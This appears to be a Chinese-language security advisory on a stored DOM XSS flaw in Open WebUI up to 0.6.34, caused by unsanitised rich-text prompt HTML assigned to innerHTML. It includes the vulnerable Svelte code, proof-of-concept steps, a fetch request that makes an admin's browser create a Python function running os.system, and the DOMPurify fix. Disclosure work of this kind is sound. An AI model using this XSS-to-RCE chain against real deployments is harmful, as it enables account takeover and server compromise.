Open WebUI 存储型DOM XSS漏洞分析
漏洞概述
Open WebUI在启用"以富文本插入提示"功能时,存在存储型DOM XSS漏洞。攻击者可通过创建恶意提示,在用户执行相应命令时触发XSS攻击,导致账户接管(ATO)和远程代码执行(RCE)。
技术细节
受影响版本
- npm包: <= 0.6.34
- pip包: <= 0.6.34
漏洞位置
漏洞位于src/lib/components/common/RichTextInput.svelte文件的第348行:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
export const replaceCommandWithText = async (text) => {
const { state, dispatch } = editor.view;
const { selection } = state;
const pos = selection.from;
// 获取文档的纯文本
// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');
// 在光标处查找单词边界
const { start, end } = getWordBoundsAtPos(state.doc, pos);
let tr = state.tr;
if (insertPromptAsRichText) {
const htmlContent = marked
.parse(text, {
breaks: true,
gfm: true
})
.trim();
// 创建临时div来解析HTML
const tempDiv = document.createElement('div');
tempDiv.innerHTML = htmlContent; // <---- 漏洞点
|
漏洞原理
攻击验证
概念验证(PoC)
- 通过设置确保启用"以富文本插入提示"功能
- 创建自定义提示
- 通过聊天窗口运行
/poc命令
- 观察警报触发
远程代码执行(RCE)
由于管理员可以通过"Functions"功能在服务器上自然运行任意Python代码,此XSS漏洞可被用来强制任何触发它的管理员运行攻击者选择的Python代码。
攻击者可以通过以下fetch请求实现:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('echo RCE')"
})
})
|
影响分析
账户接管
任何运行恶意提示的用户都可能通过恶意JavaScript泄露其本地存储中的会话令牌,导致账户被攻击者接管。
远程代码执行
管理员用户运行恶意提示可能导致后端服务器面临远程代码执行风险,因为通过漏洞运行的恶意JavaScript可以以管理员用户身份发送请求,运行恶意的Python函数,进而执行操作系统命令。
限制条件
- 默认情况下,低权限用户无法创建提示,需要
USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS权限
- 触发漏洞需要受害用户在偏好设置中启用"以富文本插入提示"功能(默认关闭)
修复方案
在将用户控制的HTML分配给.innerHtml之前,使用DOMPurify进行消毒处理。
参考信息
- GHSA-w7xj-8fx7-wfch
- open-webui/open-webui@eb9c4c0
- CVSS评分:8.7(高危)